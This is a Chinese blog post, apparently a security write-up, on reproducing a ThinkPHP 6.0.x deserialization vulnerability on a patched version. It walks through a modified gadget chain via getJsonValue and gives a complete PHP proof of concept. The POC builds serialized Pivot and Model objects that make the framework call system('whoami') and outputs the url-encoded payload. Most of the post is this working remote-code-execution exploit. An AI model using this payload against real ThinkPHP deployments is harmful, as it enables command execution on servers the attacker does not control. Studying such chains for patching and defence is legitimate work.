ThinkPHP6.0反序列化漏洞

ThinkPHP6.0反序列化漏洞

前言

在学习大师傅们的thinkPHP6.0.x的反序列化漏洞复现文章时,发现自己下载的TP版本是被修复过后的版本。于是更改一下旧链达到RCE。在看本文章前先去看一下上述提到的大师傅的文章。

修补之处

__destruct链触发走的路一样

__toString链最终利用点不同

在旧版本当中,trait Attribute中499行else里面就是最终执行动态函数的地方,所以需要绕过496行的if语句。
在这里插入图片描述

但是我复现的时候发现了新版本做了更改即使绕过了496处的if语句在else语句中也会有以下语句的判断。

if ($closure instanceof \Closure)

它会再一次判断$closure是否为闭包函数,所以在这里原来链就被断了。我也是想不出怎么绕过这个语句。

在这里插入图片描述

漏洞复现

突然看到有个注释写$closure为动态函数获取器,那么想着会不会其他地方也有类似的语句。

$value = $closure($value, $this->data);

于是发现也是在trait Attribute中539行的地方。有类似的结构。

在这里插入图片描述

查看getJsonValue函数调用的地方。

没想到它也__toString链中498行处被调用,只不过旧链我们没有进入它而是进入下面的else语句。于是我们得进入496行处的if语句。filename是旧链中this->data[]中的key值。绕过in_array(fieldName, this->json) 在this->json中设置一个值为filename(ps:非键值)。绕过is_array(this->withAttr[fieldName])),this->withAttr[]中键值为fieldName的值为数组。

在这里插入图片描述

进入getJsonValue。

value为this->data[filename]的值。而name就是上一个函数的filename.
进入循环因为上文绕过了is_array(this->withAttr[fieldName])),所以this->withAttr[fieldName]就是数组的形式,接下来设置this->jsonAssoc为true。所以可以构造this->withAttr为以下形式

private $withAttr = ["key"=>["key1"=>"system"]];

这样closure就获得了system。看看它的参数value[key],而value为this->data[filename]的值,所以可以构造this->data为以下形式

 private $data = ["key" => ["key1" => "whoami"]];

在这里插入图片描述

与旧链POC不同之处,trait Attribute中

trait Attribute
{
    private $data = ["key" => ["key1" => "whoami"]];
    private $withAttr = ["key"=>["key1"=>"system"]];
    protected $json = ["key"];
}

Medol中添加 protected $jsonAssoc;并设置其值为true。

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $jsonAssoc;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}

其他条件相同。

完整POC



namespace think\model\concern;

trait Attribute
{
    private $data = ["key" => ["key1" => "whoami"]];
    private $withAttr = ["key"=>["key1"=>"system"]];
    protected $json = ["key"];
}
namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $jsonAssoc;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

复现截图

在这里插入图片描述

你可能感兴趣的:(安全学习,安全,web安全,php,thinkphp)